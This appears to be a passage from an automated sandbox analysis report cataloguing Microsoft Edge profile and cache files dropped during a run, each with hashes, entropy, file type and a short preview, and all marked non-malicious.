SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.492206051219631
Encrypted:	false
SSDEEP:	24:gZu8meSBSKh/o/1PmtHRHmIIUt2YKIt2YKbKc2QNkQ0MYKIMYK5qy1AlkfAlksds:gZu8hSBSeQtPAHRHmxUIYjIY2z2qkzM1
MD5:	B5CC128BCB1D21878FE061A49CFB39AE
SHA1:	5F5C791B9774C6A343ABD5B9F7767B788F978983
SHA-256:	D989C142F1D1A029FCB630B4B6C34B4D807BFBBCB6CDA7626A048D20C4018E62
SHA-512:	1EA55A0EB3225306FB28614C135877417FBD3AC51562EC59102E67814068648A06B82EDF64AA9762736FF7BAED9B6BE4FF85F1FEFC2D79A065E0A83B03D7A476
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..&f.................&f...............bIa..................4_IPH_CompanionSidePanel...IPH_CompanionSidePanel.....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch......4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton.....&4_IPH_FocusHelpBubbleScreenReaderPromo.$IPH_FocusHelpBubbleScreenReaderPromo......4_IPH_GMCCastStartStop...IPH_GMCCastStartStop......4_IPH_HighEfficiencyMode...IPH_HighEfficiencyMode......4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage....."4_IPH_PasswordsWebAppProfileSwitch&. IPH_PasswordsWebAppProfileSwitch.....-4_IPH_PriceInsightsPageActionIconLabelFeature1.+IPH_PriceInsightsPageActionIconLabelFeature......4_IPH_PriceTrackingChipFeature"..IPH_PriceTrackingChipFeature.....&4_IPH_PriceTrackingEmailConsentFeature.$IPH_PriceTrackingEmailConsentFeature.....-4_IPH_PriceTrackingPageActionIconLabelFeature1.+IPH_PriceTrackingPa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.2641010112842705
Encrypted:	false
SSDEEP:	6:ixF+AB1wkn23oH+Tcwtfrl2KLlgxlQwt+q2Pwkn23oH+TcwtfrK+IFUv:ixF+LfYeb1LaxK5vYfYeb23FUv
MD5:	D87DE9E47AA49DCC2936BB15ED77770B
SHA1:	665144A511D0486A1311C51F68CF5214472962BC
SHA-256:	0DDC02731136E395802A052711ACBBD2CA43FBA01DF1FE49C1F91C76B3214426
SHA-512:	4BAB01E7C271E149A36861ABC48521B9C826F90E7B2991884D0F7F26803B70E6E67553B529A3240FAF2806EB9AB1769ECD22C73397D42EE699C10930E05B3A85
Malicious:	false
Preview:	2024/12/27-08:42:55.689 16d8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/12/27-08:42:55.715 16d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	3.9539264060634998
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/DPNt/Fql3RJ5hleNQezstXdmgG0:G0nYUtypD32m3DPNyl3PPlFtNl
MD5:	BE740A30BAA70F1F00881677C97A335B
SHA1:	7F2450071461AB0407F918B9B8F26C15C2857FE1
SHA-256:	4182F45B79A019D31A3FD493F096763A1F1F757A5AA2780D04225C5CC1DCAED8
SHA-512:	405C94D2D53EE46006C5DA1E4B4FD13067CD867C97080552B7C6646B714097645FED04D9D63BD2B8A5B4948BBD0E88DC41FF3B8662A67221A56FC1888CF199EB
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.......w<.................20_.........................37_.......`.................38_.....Owa..................20_.......K..................39_.....B.I..................19_.....t..).................3_......(...................18_.....V.1..................4_.....R....................37_......%d..................38_.......K..................39_......dV<.................3_........g.................4_.....D...................9_.....^...................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.203710276090804
Encrypted:	false
SSDEEP:	6:ixpUTrmAB1wkn23oH+Tcwtfrzs52KLlgxQ+q2Pwkn23oH+TcwtfrzAdIFUv:ixpUTyLfYebs9LaxVvYfYeb9FUv
MD5:	B713FB92E395B37DFA7D6AA33453ABFA
SHA1:	67F0CBC64D7E1092694DF8F8ED88BB775251DD5C
SHA-256:	7F38BEB620E600B69F02AA32F6EECB0FEFB197EF7BC848DA5D60B3400D49F61C
SHA-512:	C050E2579962D0BF118862A3FED69242C74217B3F771E7428F59DC4E2890ADE062747267F09E3DBD62AB559FADEF1A638D125494AB7C1EC7F7C9A8A0C0A54675
Malicious:	false
Preview:	2024/12/27-08:42:55.660 16d8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/12/27-08:42:55.686 16d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlqBKt:Ls3qBKt
MD5:	C614E1D8448DDAD89A0C43AE46AD3AF7
SHA1:	F319B5D566BCAC58A4C9F888852664277AC73EBF
SHA-256:	1BD1FF54BBB69875210797D94BD71D17A46AC9114A2BE98C49B8892DF30BEEE9
SHA-512:	3AA451F5ED56F12D1985AE54112D6A73E93FAE57BB568B18350D358F7B54FD40FDC1318A8A20D95699AB4D0F3A9F73BDB4634CD25323F8811E636708716306BC
Malicious:	false
Preview:	........................................\|Xk../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlfl:Ls3N
MD5:	46FE20F05E9CBA05D7BBFBAE50EE0E07
SHA1:	71640CBE49CAA014B6763D1D7EDF2B4EE0AC6FF2
SHA-256:	BB6D319AC8C6D98D0406D1CFE2CC379CC1229CF7069FF8873B40AE1B38077616
SHA-512:	0D9D575F714D5E10B8BE1DC6527602F26E9791C81618DFBDCFBB886EB5DDAB2A562E1A0D8307C0DCA59B66C02D8454515B8910CED93E9A99847346334EC02DCC
Malicious:	false
Preview:	..........................................l../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35555.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35c98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35cd7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
